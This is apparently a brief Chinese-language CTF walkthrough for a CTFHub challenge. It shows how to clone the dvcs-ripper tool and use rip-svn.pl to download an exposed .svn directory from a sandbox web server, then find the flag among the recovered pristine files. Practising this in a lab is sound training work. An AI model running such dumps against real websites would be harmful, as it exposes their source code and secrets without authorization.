使用 dvcs-ripper工具
git clone https://github.com/kost/dvcs-ripper.git
sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl # 安装依赖
./rip-svn.pl -v -u http://challenge-3791c896116904b4.sandbox.ctfhub.com:10800/.svn/
cd .svn
hhj@tux:~/dvcs-ripper/.svn$ tree
.
├── entries
├── format
├── pristine
│ ├── 64
│ │ └── 64f6f2d33c84cc20c4946c17234cb1f36efb1779.svn-base
│ └── bf
│ └── bf45c36a4dfb73378247a6311eac4f80f48fcb92.svn-base
├── text-base
├── tmp
└── wc.db
查找文件发现flag 在64f6f2d33c84cc20c4946c17234cb1f36efb1779.svn-base